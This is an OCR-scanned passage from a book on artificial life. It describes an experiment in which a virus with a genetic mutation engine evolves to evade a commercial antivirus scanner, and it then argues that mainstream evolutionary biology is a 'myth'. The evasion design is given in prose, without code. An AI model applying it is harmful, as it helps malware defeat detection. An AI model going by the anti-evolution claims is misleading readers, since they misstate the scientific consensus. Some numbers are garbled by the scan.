truly fundamental limitations on evolution. Any theory of evolu-
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Figure 20.10: A fitness function unfreindly to
evolution.

tion, in the true sense of the word, almost has to embody some such
general principle. Without any limiting principles, evolution just
isn’t a scientific theory—it isn’t anything but talk. We might
develop a theory about fitness, or a theory about mutations, but that
doesn’t mean we have a theory of evolution at all. The very idea of
a theory of evolution suggests that there is some principle behind
1t.

What could that principle be, though?

After doing a lot of experimenting with viruses that evolve
(which we’ll discuss in a moment), my general feeling is that there
are fundamental limits on evolution. These limits seem to revolve
around one question which must necessarily be central to any
theory of evolution:

Is evolution a creative force or a reactive force?

The common perception is that evolution must be a creative
force. If not, then how could all the variety of life on earth have
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evolved? Yet if we pretend that there is no real world, and AL is
all we have to study evolution with, that popular perception be-
comes highly suspect. That’s because AL is fundamentally differ-
ent from the real world. In the real world, analyzing information
flow is practically—if not philosophically—impossible. With arti-
ficial worlds inside our computer, it is possible.

We’ve already discussed the idea that the physical laws of a
system contain information within the context of trying to better
define self-reproduction. Essentially, we wanted to try to avoid
trivial reproduction which was dictated by the physical laws of the
system. A proposed solution was simply to suggest that the infor-
mation content of the genetic material in a self-reproducing
automaton ought to be greater than the information content of the
physics of the system in which it existed.

When I speak of evolution as a creative force, I am primarily
interested in information. That is, evolution ought to be able to
create information. Otherwise, if it is merely reactive, then it can
only couple pre-existing environmental information into the self-
reproducing population’s genes, but it cannot generate new infor-
mation on its own.

To the modern scientist, the “miracle” of life is the informa-
tion—the specificity of the genes required by living organisms. The
gene space is huge (e.g., something like 4!-000:000.000y " A[] the life
that has ever lived explores only an infinitesimal, infinitesimal bit
of this space. Inside that infinitesimal bit, the various species
occupy even more infinitesimal bits of space. The numbers are so
incredible that words can’t give us any perspective on them. These
infinitesimal bits tell us that there is a tremendous amount of
information—or specificity—associated with life. Fifty years ago,
nobody really knew that. We knew that there was information there,
but how much was unclear.

We might suppose that the reason we ended up in the region of
gene space we did, and the reason we spread out the way we did
was just an accident. After all, it had to start somewhere. Beyond
that, though, we have to wonder why the gene space is populated
the way it is. Rather than looking like a diffuse gas, it appears more
like the visible matter in our universe, with small clumps, and
systems of clumps, and galaxies of systems, and clusters of galax-
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ies. Each clump is functional though—a highly organized program
of sorts. When we run into this kind of functional informational in
the abstract, we normally associate it with intelligent design. The
classic example is due to Wllliam Paley, who compared a naturally
derived living organism to an intricate watch assembled by
chance.® Somehow, we’d like evolution to explain how life got to
be the way it did, informationally speaking, if indeed evolution is
responsible for life as it is.

Within the domain of AL it seems hard to see how evolution
could be anything other than purely reactive. We’ve already seen
that random searches of a gene space are essentially useless,
whenever a chromosome consists of more than about fifty bytes of
information. In essence, random mutations destroy information in
a self-reproducing system, they don’t create it. It is the fitness
function that refines information content in a population. Yet the
fitness function itself is little more than a mathematical statement
about the environment. It is what couples environmental informa-
tion into the population of automata.

The best way to see how all of this works is to illustrate it using
an example from our world of viruses.

The Darwinian Genetic Mutation Engine

Certainly a virus can be designed to facilitate evolution. Al-
though the mutation rates on the average computer are very low—
by design—we could introduce fairly random mutations into a virus
on purpose to help evolution along. We could also introduce sexual
reproduction. In general, if you can quantify a procedure, such as
mutation, or sexual reproduction, it can be coded.

Better than merely designing a virus that can evolve, we can
design a module that could be included in any virus. This module
could be designed to manipulate a piece of genetic material—which
is just a string of bytes—and pass this chromosome on from

8 William Paley, A4 View of the Evidences of Christianity (R. Faulder,
London:1794). See the discussion in Fred Hoyle and Chandra
Wickramasinghe, Evolution from Space (J. M. Dent, London:1981) p. 96.
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generation to generation. Any virus can use the genetic material to
make decisions about how it operates. For example, one bit in the
genetic material might tell the virus to infect COM files, and
another bit might tell it to infect EXE files. In the beginning,
perhaps only the COM file bit is set, so the virus will not infect
EXEs. Then, at some later time, the virus mutates and sets the bit
to infect EXE files. Suddenly the phenotype—how the virus be-
haves—changes drastically. None of this is hard to program in.

In fact, I developed just such a module to facilitate evolution
for a virus. I call it the Darwinian Genetic Mutation Engine
(DGME), and it is detailed in Appendix F.

Such a genetic engine could actually be very useful in the world
of viruses, in playing the usual cat-and-mouse games of writing
viruses that cannot be scanned. Typically, a virus writer writes a
virus that cannot be scanned for, and it is good for a little while, but
then the scanner manufactures get a hold of it and update their
products to catch it. There is no reason, though, that a virus could
not evolve to evade scanners.

At present, mutation engines are a popular way to avoid detec-
tion by anti-virus software which scans for known viruses. Basi-
cally, a mutation engine encrypts the body of a virus using a simple
encryption algorithm so it never looks quite the same in two
iterations. Then, the engine generates a variable decryption routine
to decrypt the body of the virus when it gets executed. This
decryption routine is variable, so essentially, the virus never looks
the same twice. Scanners that search for mutation engine generated
viruses typically use an algorithm to detect them. The problem is,
such algorithms are not always 100% efficient. Typically they
might catch 99.9%, or 99.98% of all mutations. At present, such
levels of performance are generally acceptable. If you have such a
virus in your computer, the scanner will probably catch it.

Most mutation engines available today rely on random number
generators to encrypt code and generate decryptors. This causes
two problems: (1) The number of possible states of the virus are
only as many as there are possible seeds for it. For example, if the
random number generator is seeded by a 32-bit DWORD, then
there are about 4 billion possibilities. Worse yet, (2) no information
is passed from generation to generation about the effectiveness of
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the parent’s configuration. Thus, if a parent falls in the narrow
0.02% range which a scanner cannot catch, the child will still have
a 99.98% chance of being caught.

Using genetic information instead of a random number gener-
ator solves both of these problems. Typically, if you add up all the
decisions and variables in a mutation engine, you could have lots
more than 4 billion. One could easily design an engine with 10'%°
or so possibilities.” Being able to explore this much larger space of
possibilities should make the engine much more effective at finding
holes in the algorithm used to detect it. Secondly, the genetic
information will allow the virus to preserve a knowledge about
what types of mutations have worked in the past. It makes little
sense for a virus that has found the 0.02% hole not to exploit it.
Using a genetic approach allows the children to maintain most of
the parents’ qualities.

I tested these ideas out using the Trident Polymorphic Engine
(TPE) and a simple COM-file infecting virus which I’ll call SCAN-
Slip. The TPE, which is supplied as an object file, normally relies
on a random number generator which is integral to the TPE. So |
disassembled the TPE and rewrote it a bit so that it calls the DGME
instead of the random number generator. (Both the DGME and the
TPE are included on the Program Disk.) This provided a graphic
illustration of just how effective evolution can be when pitted
against a scanner that is not 100% effective.

I conducted an experiment as follows: To begin, I put the
DGME in “random” mode and created 1000 viruses with random
chromosomes, 256 bytes long. Then I ran McAfee Associates’ Scan
(Version 9.17 V106) against the initial population of the viruses.
Every instance of the virus that got caught was destroyed. The new
population was used to create 1000 new viruses in ““ genetic” mode,
which mutates the existing chromosomes. The population of new
viruses were scanned and all instances that got caught were de-
stroyed. This process was repeated again and again, with the results

9 Mark Ludwig, “Designing a Mutation Engine”, Computer Virus
Developments Quarterly, Vol. 1, No. 3, (Spring, 1993) pp. 4-13.
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Figure 20.11: Examples of SCAN-Slip caught by
Scan vs. time.

depicted in Figure 20.11. As you can see, after about 100 genera-
tions, the virus was better than 85% efficient at evading the same
SCAN program that originally caught 99.9% of them. And if you
then turn the mutation rate down, you can improve the evasion
efficiency to 99% or so.

Thus it would seem that an evolving virus would represent a
significant advance in anti-anti-virus technology. It would appear
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to be especially effective against the so-called heuristic'® scanners
which attempt to locate viruses generically, and are usually not
even close to 100% effective. And the possibilities are endless. For
example, one could evolve a McAfee-evading virus and a Central
Point evading virus, and then cross them to get a virus that evades
both, etc., etc. The only sure-fire cure would be to develop an
algorithm that is 100% efficient.

Developing better virus technology is only a byproduct of our
work here.!! There is no doubt that evolution worked beautifully.
But we’d like to understand what has happened in the experiment,
evolution-wise and information-wise.

Analysis of the Experiment

Before we turn on the scanner, our virus will replicate and
mutate at random. There are essentially no selection pressures on
it, so no one chromosome is favored over any other. The initial
population might look something like Figure 20.12 in gene-space.
With the passage of time, the dots will simply wander aimlessly
throughout the space. If they were not distributed evenly to begin
with, they will diffuse, and become more and more even. The speed
of that diffusion process is proportional to the mutation rate.
Actually there is some selective pressure because the TPE has a
bug in it which makes some decryption routines fail. Thus, there
are some rare lethal mutations, comprising perhaps 0.03% of all
possible variations. We neglect these bugs in our analysis. One
virus is pretty much as good as the next.

If we define information content as specificity in gene-space,
i.e., negative entropy, then it should be clear that mutations tend to

10 A fancy name for “educated guess.”

11 And don’t get all bent out of shape, you anti-virus developers! This is the bes?
way to test your algorithms to see how good they are and find out why holes
are where they are.
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Figure 20.12: Virus population without a scanner.

Figure 20.13: A scanner confines the virus
population.
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destroy information. If I start with a population of N viruses
that is well-defined in gene-space, that population has a relatively
low entropy. For example, if I started with a population of viruses
where all the bytes in the chromosome are set to either O or 1, chosen
at random, then the entropy is

S =1n(2%°%) =177 20.2

per virus. Over time, mutations will cause the chromosomes to take
on all possible values, so that at equilibrium,

S =1n(256%%) = 1420 20.3

per virus. Thus, mutations alone, without the action of a selection
process, increase the entropy towards its maximum value and
decrease the information content (specificity) in the genetic infor-
mation of the population. Essentially, you can think of this phe-
nomenon somewhat like opening a small container of gas in a large
room. The gas fills the room, the entropy increased, and most of
the gas will never go back to the small container on its own.

When we turn the scanner on, it imposes a fitness function on
the system. The way I designed the experiment, the selection
process is an all-or-nothing affair. Given the right chromosome, the
scanner will not catch it, so it will always survive and reproduce.
The wrong chromosome is killed immediately, and never has any
children. This fitness function works to confine the population of
our virus to a sub-region of the total gene space (See Figure 20.13).
That decreases the entropy and increases the information content.
Ifthe fitness function in this particular case favors a volume roughly
1/1000th of the total volume of our gene space, then it essentially
injects information corresponding to approximately

= -AS = In(256%°%) - In(2562°6/1000) = In(1000) = 6.9 20.4

per virus, into the system.

So in essence the selection process is injecting information into
the system by refining the population’s genetic information con-
tent. This is a purely reactive process. Information is being injected
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into the self-reproducing population from outside that population.
The selection function itself contains the same information that it
succeeds in injecting into the population. The population is just
conforming to that function.

This is a typical case of what I would call reactive evolution.
A self-reproducing system is merely reacting to a fitness function.
Just because that system does exactly what you don’t want it to do
when you start using a scanner to catch a virus doesn’t make it
creative. Its information content is systematically increased by
mutation (or sexual reproduction—it doesn’t matter) and refined
by the fitness function. The whole selection process is nothing but
a workable balance between these two factors.

The real question to me is whether any evolution can be
anything more than this. Superficially the answer would seem to
be no. If we poke our heads up and look around, it would appear
that all computer programs which make use of evolution make use
of reactive evolution. Normal genetic algorithms are purely reac-
tive. They use induced mutations and a well-behaved fitness func-
tion to solve a problem.!? A program like Richard Dawkins’ Blind
Watchmaker'? is purely reactive, depending on operator input at
every step to build information. In systems like this, the information
in the self-reproducing population is no more or less than what’s
been injected into them.

Where the reactive nature of evolution might come into ques-
tion is in systems which consist of more than one self-reproducing
automaton, e.g., prey-predator systems. Evolutionary arms races
are often discussed in popular literature.'* The classic example is
the idea that giraffes with longer necks can reach more leaves on
tall trees, so they survive better, and giraffes tend to get taller. At
the same time, taller trees will survive better where there are
giraffes, because they don’t get so badly stripped. So, the idea is,

12 For a readable introduction to genetic algorithms, see Steven Levy, Artificial
Life (Pantheon Books, New York:1992) pp. 153-188, and his references.

13 Richard Dawkins, The Blind Watchmaker, (Longman Group, Essex,
England:1986) pp. 43-74.

14 Ibid., pp. 178-192.
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both trees and giraffes evolve and get taller. Such systems can be
modeled with AL too.

Are these prey-predator systems creative, though? We might
well argue that they are not. After all, most any population will have
competition between its own members going on. With two distinct
species, the fitness function should span the gene space of both of
them. Rather than specifying a point in this space with one gene,
you now need two. > This is somewhat like the difference between
a coordinate space and a phase space description of a gas. That
allows us to model the dependence of the two automata on each
other. The same considerations would seem to apply to this new
system as they did in the single-species system, though. In other
words, the (externally determined) fitness function would merely
inject information into the system.

Likewise, we might wonder about open-ended systems like
Thomas Ray’s Tierra.'® Apparently he was able to evolve a variety
of artificial organisms from a single basic self-reproducing automa-
ton. Here we certainly have the appearance of creative evolution.
Yet an examination of how the system works reveals that a lot of
information goes into the physics and into the selection function,
which is implemented by Ray’s “reaper.” Neither do the automata
simply evolve to levels of arbitrary, unbounded complexity. So it’s
not hard to imagine that such a system is still reactive.

Right now, it’s hard to decisively answer the question of
creative versus reactive evolution. The simplest evolving systems
all seem to be purely reactive. In more complex systems, we can’t
tell very easily. Atthe same time, a carefully designed and analyzed
AL experiment ought to be able to show up some sort of an answer.
That would be all but impossible if we confined our view to the real
world, since even the simplest real-world scenario seems far more
complex than an AL experiment.

15 And again, this is a simplification. A better analysis would require us to specify
every single gene in every individual.

16 Thomas S. Ray, “An Approach to the Synthesis of Life”, Artificial Life I,
Christopher Langton, et. al., eds. (Addison Wesley,Redwood City, CA:1992)
pp. 371-408.
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Problems with Information

There are a number of problems we’ll have to face in order to
come up with a good answer to our big question. Not the least is
how to define all the information we’ve been talking about more
precisely. In defining numbers, I used entropy for simplicity’s sake.
However, our idea of entropy as information runs into some trouble
when dealing with self-reproducing automata. If I have one
automaton, with a gene of N bytes, I can define its information
content as

1 = -ASspect = In(256™) = N x In(256) 20.5

Once it reproduces, I have two genes of length N, so my entropy-
based information content doubles,

2= -/\Sspecy = In(256™) =21, 20.6

Thus it would appear that the act of self-reproduction itself in-
creases the information content. Continued reproduction would
increase it to arbitrarily high levels.

Clearly this picture is faulty. It does nothing to differentiate
between a copy of existing information and fundamentally new
information. Making a copy of any information, be ita chromosome
or this book, is much easier than building an entirely new informa-
tion structure. So it would seem we’re really more interested in
something like algorithmic information content here. Then, if [ had
a (presumably large) algorithm A4 to define the chromosome of a
self-reproducing automaton, then a pair would be described by an
only slightly more complex algorithm, e.g., 2 x 4, etc., yet to define
another independent automaton, I’d need a whole new algorithm
B.

This point seems often confused in evolutionary literature, and
it has been for a long, long time. For example, I often see someone
arguing that we should not doubt evolution because, after all, the
development of a single-celled creature into something as complex
as a man is a common occurrence—it happens every time someone
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has a baby. Such arguments are all appearances. In fact, the algo-
rithmic information content changes little, if at all, during this
development. All is programmed into the original cell. That’s
worlds different than trying to change an E. Coli into a human
because of the information, 10° nucleotides versus 10° nucleotides.
Likewise, this point is confused by AL researchers too when they
confuse complexity or a system’s ability to handle information with
meaningful information itself.!”

In discussing our SCAN-evading virus, the fitness function’s
“information content” could be analyzed pretty well with entropy
because it restricted the space of allowable genes in a very well-de-
fined way. Yet it is by no means clear that this should always be
the case. Perhaps a better definition is needed here, too. And then,
we’d like to relate the functional information content of the fitness
function to the algorithmic information content of our population
of self-reproducing automata. This is not necessarily a trivial
problem. Presumably, the fitness function must ultimately be de-
fined by the physics of a system, and its initial configuration. Thus,
we must have a meaningful way to connect the information content
of both physics and configuration into our picture as well. In short,
we need better definitions of what we mean by information in order
to quantitatively analyze anything but the simplest cases of evolu-
tion.

Inthe end we’d like to formulate the idea of a reactive evolution
mathematically, something like this:

(evolved self-reproducing system) 20.7
(initial self-reproducing system)
+ [(contribution from physics)
+ [(contribution from environment)

17 See, for example, Christopher Langton, “Life at the Edge of Chaos,” Artificial
Life Il (Addison Wesley, Redwood City, California:1992) pp. 84-86..
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Conclusions

It would appear that the question of whether evolution is
creative or reactive is of fundamental importance in laying the
foundation for any theory of evolution for artificial life. For exam-
ple, if it is creative, then we would expect evolution to be un-
bounded in some systems. That is, an evolving system of automata
could, by themselves, produce a chain of ever increasingly complex
forms of life, or artificial life. On the other hand, if evolution is
reactive, unbounded evolution would appear to be impossible.'® A
system would at best evolve out whatever complexity was put into
it and then stop.

The answer to our big question would also guide us into what
questions to ask next. If creative, could we quantify the creativity?
Could we enhance it? If it is reactive, then we’re more interested
in understanding the environment evolution is reacting to, and how
information couples into the self-reproducing system. Under-
standing these kinds of questions would provide a framework to
understand what evolution is and what its place is in our total
understanding of the world.

Yet a theory of evolution should also allow us to answer
specific questions, drawing all the practical limits into the picture.
Could A evolve into B? Did A evolve into B? This theory ought to
work for any world, for any physical rules, for any type of automata.

Already we can answer some of the specific questions in the
artificial worlds we’ve created, and I think we have a shot at the
big questions. All of this tells me that evolution in the world of AL
promises to be quite different than evolutionary thought in the real
world has been. In the realm of AL, evolution is subject to a deeper
level of analysis than it is in the real world because everything is
under control. That means we can do something that looks a lot
more like a bona fide experiment than telling a tall tale. And that
means we can do many experiments, whereas we can do very few

18 Apart from factoring in some of the ambiguities of mind and intelligence, of
course.
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in the real world. Furthermore, if we design a world where evolu-
tion is very efficient, or a world where it is not, we won’t trample
all over the religious or philosophical sensibilities of others. And
that suggests to me that AL might help us formulate a more
philosophically neutral theory of evolution that could be argued for
or against with numbers and computers, and not with appeals to
philosophy or theological exegesis.



The Real World: Evolution

It seems only sensible to take what we learn about evolution
from Artificial Life and apply it to the real world. In particular,
we’d like to see the real world as one example of a much bigger
picture. To do that, though, we need to be aware of just where
evolution stands in the real world.

I’ve already mentioned Phillip Johnson’s book, Darwin on
Trial. 1t’s a good book because it exposes some of the rot that lies
just beneath the surface of modern Darwinism. I’d like to take a
few pages to review some of Johnson’s, and others’ criticisms of
modern evolution. This is a good way to find out how much we
really know: subject your ideas to the harshest criticism and see
what’s left.

The Fossil Record

Some of the criticisms we’ll review are rather old. Things that
date back to Darwin’s original work. At the same time, they are
criticisms that really have not been satisfactorily answered. The
fossil record is one example of this. Darwinian gradualism would
suggest that the fossil record should be a grand picture of gradual
change. According to Darwin, we have the idea of fixed species
today only because we see the world at an instant in geological time.
The species ought to be merely a snapshot of a bigger picture of
continuous and gradual change. What we call species today were
not the same thousands or millions of years ago. Life on earth today
is somewhat like taking an evolutionary lineage and cutting it at
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some time, as in Figure 21.1. The fossil record ought to be like
looking down on that same tree from above, as in Figure 21.2.

In Darwin’s day, though, the fossil record did not look like
that—it looked more like Figure 21.1. Darwin assumed that our
knowledge of it was incomplete, and that future discoveries would
fill in the gaps. Yet the situation hasn’t substantially changed in
130 years. Most of the fossil record is characterized by the sudden
appearance of new species, then no change (stasis) in their form for
long, long periods of time, and then extinction.! Much of the fossil
record therefore documents stasis and sudden change, not gradual
change. Transitional forms are rare. Those that do exist are well
known because they’re rare. They’re also controversial. For exam-
ple, Archaeoptryx has been proposed as an intermediate between
reptile and bird. Apparently it had feathers, scales and teeth, making
it a good cross between a bird and a small dinosaur. At the same
time, it’s wing is amazingly similar to a modern pigeon’s,”> and
cranial casts indicate that its brain is distinctly avian, morphologi-
cally speaking.® Presumably there would have to be many transi-
tional forms on this lineage, none of which have been found.

Now evolutionary biologists don’t take this situation to mean
that evolution is wrong. Instead, many suggest that the fossil record
is still—and always will be—incomplete.* Stephen Jay Gould has
proposed a controversial theory called punctuated equilibrium?® to
deal with the observed character of the fossil record. He suggests
that large populations—which contribute most to the fossil re-
cord—are relatively stable, and large evolutionary changes nor-
mally only take place in small populations which are isolated from

1 Phillip Johnson, Darwin on Trial, (Regenery Gateway, Washington DC:1991)
p- 50.

2 Michael Denton, Evolution: A Theory in Crisis (Adler & Adler, Bethesda,
Maryland:1986) p. 175.

3 Jerrison, “Brain Evolution and Archaeopteryx”, Nature 219, pp. 1381-1382.

4 David Raup and Steven Stanley, Principles of Paleontology (W.H. Freeman,
San Fransisco:1971) pp. 1-11.

5 Stephen Jay Gould, The Panda’s Thumb (W.W. Norton, New York:1980) pp.
186-193.
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Figure 21.2: The fossil record in perspective.
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the main population. Then those small populations succeed abun-
dantly and quickly grow into large populations.

In a sense, these “explanations” can become mere excuses to
explain away a fossil record that is hostile to Darwin’s hypothesis.
Certainly such ideas can explain some of what we see, but if
gradualism is true, we must wonder how it has escaped detection
time and time and time again. If the fossil record were allowed to
be a test of Darwinian gradualism, it would falsify it. It would tend
to suggest that the fitness function of species may look something
like Figure 20.10: islands of viability surrounded by forbidden

ZOI'ICS.6

Major Organs

One of the oldest objections to gradual evolution has been that
it apparently lacks the power to explain how major organs—Ilike
the eye, or a bird’s wing—came into being. In surveying the animal
kingdom, there are thousands upon thousands of such questions.
Let’s focus on the most famous one, the eye, as an example.

The argument goes “ What good is 10% of an eye? And if 10%
of an eye is of no use, then no selection mechanism can possibly
select for it.”’

The answer which Darwin gave has often been re-stated with
little change, and you can find it in textbooks everywhere. That is,
there are many primitive eye designs among living animals, and
these can form a plausible series of intermediate forms.®

Unfortunately, these eyes don’t appear to have evolved from
one another at all—they are too different. Rather, the eye may have
had to evolve independently some 40 different times.’

If we pursue the argument in terms of selection, there are two
answers. One is that 10% of an eye might have been used for

6 And it doesn’t matter too much whether they’re islands on a flat surface or
isolated peaks on an incline.

7 This discussion is based on Johnson, pp. 32-44.

8 Darwin also admitted that the intricacies of the human eye gave him cold
shudders.

9 Op. Cit., Johnson, p. 35.
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something else. The other is based on the fallacy that 10% of an
eye would confer 10% vision, and that is better than nothing at all.'°

Another little-known wonder is not the bird’s wing but its lung
(Figure 21.3), which is completely different from any other verte-
brate. It seems completely legitimate to ask how 21.3(a) could
evolve continually and gradually into 21.3(b). Topology seems to
forbid it, especially since the lung is so critical to survival, and a
mis-function would result in a very quick death.

As far as | can see, many such objections have been made over
the years, and none have really been properly analyzed or answered.
For example, in 1939 geneticist Richard Goldschmidt challenged
to evolutionists to explain a variety of such structures.'! Rather than
receiving an answer, he only got ridicule.'? This appears to be quite
typical. This kind of “answer” really boils down to philosophical
truism. These structures exist, and evolution is the only mechanism
that could have created them—therefore they obviously evolved.
What more is needed?

Such “answers” are tremendously unsatisfying to any serious
scientist though. They reveal the hostility of a religious devotee
when he’s told his tales are bunk, and not the honest scientist who
can simply admit he doesn’t know the answer and explain why.

In the end, evolution may be able to explain the construction
of such major organs, but it will not be without the use of a very
clever fitness function. The suggestion that 10% of an eye may have
been useful as something other than an eye really amounts to
admitting that the eye was an “accident.” From the last chapter, we
learned that this kind of an accident really amounts to an informa-
tion-rich coupling of the environment into a self-reproducing sys-
tem via a sophisticated fitness function. One must remember that
we are not just building a blob of jelly, but an extremely complex

10 Richard Dawkins, The Blind Watchmaker (Longman Group, Essex,
England: 1986) p. 81.

11 Richard Goldschmidt, The Material Basis of Evolution (Yale University Press,
New Haven, Connecticut:1940). See also Richard Goldschmidt, “ Evolution as
Viewed by One Geneticist”, American Scientist 40 (1952) p. 84.

12 Op. Cit., Gould, pp. 186ft.
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Vertebrate
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Bird lung

Figure 21.3: The bird’s lung.

structure which presumably has a lot of information behind it in the
genes.

Breeding Experiments

Darwin based his whole idea of natural selection on animal
breeding conducted by farmers and breeders. Darwin himself bred
pigeons. Yet breeders know only too well that there are limitations
to the selection which they can carry out.!> You can breed a large
or a small dog, however, you can’t breed a dog to be as big as a
horse, or as small as a mouse. And you can forget about a flying
dog. When you carry breeding too far in any direction, the result is
often sterility, after which the breeding experiment is forced to an
end.

For example, these effects have been noticed in famous ex-
periments on fruit flies.'* Experimenters have tried to increase and

13 Norman Macbeth, Darwin Retried (Gambit, Boston:1971) pp. 40-55.
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decrease the number of bristles on the flies. Wild flies averaged 36
bristles, and one can reduce the number to 25, or increase it to 63.
But beyond that, sterility prohibits further change. Mayr concluded
“The most frequent ‘correlated response’ of one-sided selection is
a drop in general fitness. This plagues virtually every breeding
experiment.” ' The term genetic homeostasis or genetic intertia is
used to describe this resistance to change.

All of this would tend to indicate that the fitness function for
most species looks like Fig 20.10. By adding a selection criterion
of our own, we might alter the shapes of the islands a bit, but not
change the fact that they are islands. That is just about how the
evolution argues this apparent roadblock. Natural selection has
already found the fitness peaks and artificial selection can only
reduce general fitness.

Of course, this general observation does not put an end to
large-scale evolution. Any breeding experiment necessarily in-
volves a very limited population and a very limited amount of
genetic variation. So these experiments may not be representative
of what a large population in the wild can do.!® The gene space of
any real living organism is multi-dimensional and highly complex.
Mutations might occur in any of a multitude of directions, and there
is no way (for real life) to show that none of those directions can
prove fruitful. In other words, Figure 20.10 might be augmented by
fine bridges running between the islands. What breeding experi-
ments tell us is that, if there are bridges between the islands, they
are perhaps not too easy to find. Certainly the crass fitness criteria
we imagine are little better than a child’s fancy. You cannot think
about the gene space that an organism lives in as few-dimensional
here. If you lived in a million-dimensional space, then just telling
someone how to start on a trip is no simple matter of saying “go
northeast.” You have to specify a vector with a million compo-
nents. That would mean that successful large scale change is a

14 Ernst Mayr, Animal Species and Evolution (Harvard University Press,
Cambridge:1963) p. 285-288.

15 Ibid., p. 290.

16 Of course, that goes against Gould’s punctuated equilibrium.
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highly information-driven process. The chances of selecting a
direction for change that is fruitful in the long run by using a gross
fitness criterion like the individual’s size is practically nil.

Molecular Evidence

Now let’s come up to modern times, and discuss what molecu-
lar studies tell us about evolution. After all, we’d expect some
tell-tale signs of evolution here.

One interesting matter that deserves our attention is the study
of protein sequences in living organisms.!” A well-known sequence
study has been carried out on cytochrome C, a protein connected
with energy production.'® Because it is so basic to cellular meta-
bolism, cytochrome C occurs in a wide variety of organisms,
ranging from bacteria to man. It is a protein about 100 amino acids
long, so the sequence of amino acids can be compared from
organism to organism and percent differences can be tallied up. In
this way, you can determine how different organisms are related at
a molecular level.

If gradual evolution were the rule, one might expect a wide
variety of differences, where the most similar organisms would
have the most similar cytochrome C, etc. This is indeed what
researchers find, however the distributions of the differences are
most intriguing. If gradual evolution were the rule, you might
expect existing organisms to have a family tree something like
Figure 21.4. This would suggest that one could find an almost
continuous variation in proteins between different species. New
branches would continually be forming on the tree. In fact, what
the molecular evidence suggests is a tree more like Figure 21.5. In
other words, major typological groups are equidistant from one
another. Species in a given genera are roughly equidistant. Differ-
ent genera in the same phylum are equidistant, etc. For example,
the prokaryotes, which are all simple bacteria like £. Coli, and are

17 Op. Cit., Denton, pp. 274-307.
18 M. D. Dayhoff, Atlas of Protein Sequence and Structure (National Biomedical
Research Foundation, Silver Spring, Maryland:1972) Vol. 5, Matrix 1, p. D-8.
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Figure 21.4: Evolution suggests a continuum of
change.
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Figure 21.5: Molecular evidence suggests
equidistant groups.
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characterized by a non-nuclear cell, seem to be equidistant from all
eukaryotes, which include all life with cells that have a nucleus,
ranging form simple yeast to all multi-cellular organisms. Their
cytochrome C all differ by roughly 64 to 72 percent.

Although the evolutionary biologist can certainly explain this
situation, it does not appear to be what one would expect, a priori.
If gradual evolution is the means for change, it would make more
sense to suggest that some prokaryote slowly evolved into a eu-
karyote, and its cytochrome C changed slowly—10%, 20%, . . .
50%, 60%. At various points along this evolutionary pathway, we
might expect it branched out into other prokaryotes or eukaryotes.
But then we’d expect to see a rather continuous variation in
cytochrome C differences between eukaryotes and prokaryotes.
Evidently either (a) the archetype of the eukaryotes evolved for a
long time without branching, or (b) it did, but all the branches are
not extinct. Although it is easy enough to postulate (a) or (b) in one
case, this is not an isolated problem. Molecular comparisons like
this suggest gaps are the norm. Again, this takes us back to a fitness
function like Fig. 20.10.

Mathematical Questions

In 1966 there was a seminal conference at the Wistar Institute
in which mathematicians faced off against evolutionists to discuss
some of the apparent mathematical difficulties of evolution.

Some of the problems raised by mathematicians were very
basic. For example, Murray Eden pointed out that the DNA in man
consists of some 10° nucleotides, or about one nucleotide for every
year that life has existed on earth. So the evolution of man would
appear to require an incredible rate of change, especially compared
to what we know to be taking place now."’

Other problems were specific—how could human hemoglobin,

and [3 chains be derived from one another or from a common

19 Murray Eden, “Inadequacies of Neo-Darwinian Evolution as a Scientific
Theory,” Mathematical Challenges to the Neo-Darwinian Interpretation of
Evolution, (Wistar Institute Press, Philadelphia:1967) pp. 8-10.
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ancestor? Typical (though debatable) calculations suggest 120
mutations would be required for this process. Even with the strong-
est possible selection pressure, this would suggest 2,700,000 gen-
erations would be needed to transform one into the other. Yet
selection between the two seems meager at best, and even 2.7
million generations is a bit too long.

Summary

So far we’ve discussed some serious problems with and chal-
lenges to the usual picture of real-world evolution painted for us
by modern evolutionists. Before we go on, I will admit two things:
First, most of what I’ve said in the past few pages could be classified
as highly controversial—even heretical—in the hallowed halls of
science. Secondly, I admit I haven’t given you lots of gory details—
just a very brief overview. My purpose is not to debunk evolution
here, or to argue against it, though I do hope you’ll look up some
of my references and look into these matters a little on your own.
I will let those authors try to debunk evolution in the real world, if
that is what they are trying to do.

The reason I bring up such objections—some classic and some
novel—is to show you that the evolutionism you were fed out of a
textbook is a myth. The field is anything but settled, solid science.
Contentions and speculations abound. The very fact that we can
interpret the data in a manner hostile to Darwin if we want to
suggests that something is wrong with this science. And far from
seeking to solve many of these problems with a comprehensive
theory, many evolutionists simply become hostile when questions
are brought up.

If we are after evolution in the broad picture—an evolution that
applies to Artificial Life and real life equally and without prejudice,
then the objections I’ve discussed should be enlightening. They
suggest that the same problems and questions we ran into in the
evolution of viruses are questions for the real world. The fitness
functions can be difficult to negotiate, as we can see from breeding
experiments. Both molecular evidence and the fossil record seem
to corroborate a difficult and very complex fitness function. Prob-
lems with the development of major organs suggest reasons why
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fitness functions can be such problems. Dr. Eden’s discussion of
mutation rates points up faults in the idea that the rate of evolution
is sufficient to explain the way the world is.

The Darwinist’s Gambit

What I find most surprising in all of this confusion is that even
many hard-core Darwinists freely confess that evolution is terribly
unlikely, and even consider that an asset. For example, Julian
Huxley writes “ Improbability is to be expected as a result of natural
selection; and we have here the paradox that an exceedingly high
apparent improbability in its products can be taken as evidence for
the high degree of its efficacy.”?°

Let us take up with our friend Richard Dawkins, because he is
the most ardent and ingenuous anarchist I can find. He writes “The
theory of evolution by cumulative natural selection is the only
theory we know of that is in principle capable of explaining the
evolution of organized complexity. Even if the evidence did not
favor it, it would still be the best theory available. . . . The essence
of life is statistical improbability on a colossal scale.”?' He goes
on to say that evolution tames chance by breaking it down into small
steps. Thus, even if evolution by natural selection proved to be
incredibly remote, it could never be as remote as something like
spontaneous creation, or macro-mutation, otherwise known as
saltation.??

This is the Darwinist’s gambit. It would seem to give evolution
the advantage no matter what. In short, it does not matter whether
the obstacle to overcome is an eye, a gap in the fossil record, an
impossible mutation rate, or what. Evolution is still better off than
any variety of creation or saltation, statistically speaking.

Certainly this gambit has paid off in traditional scientific
circles. The scientist, after all, when wearing his scientist’s hat,

20 Julian Huxley, Evolution in Action (Harper and Brothers, New York:1953) p.
48.

21 Op. Cit., Dawkins, p. 317.

22 E.g., where a chicken hatches from a rattlesnake egg.
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should take the most likely approach. So most scientists do believe
the evolutionary route is correct, even if they don’t express their
faith as clearly as Dawkins.

An Alternative?

The evolutionist’s gambit only works when we don’t know
enough about a system to really look hard at the statistics involved.
It’s worked in the real world because the real world is so complex
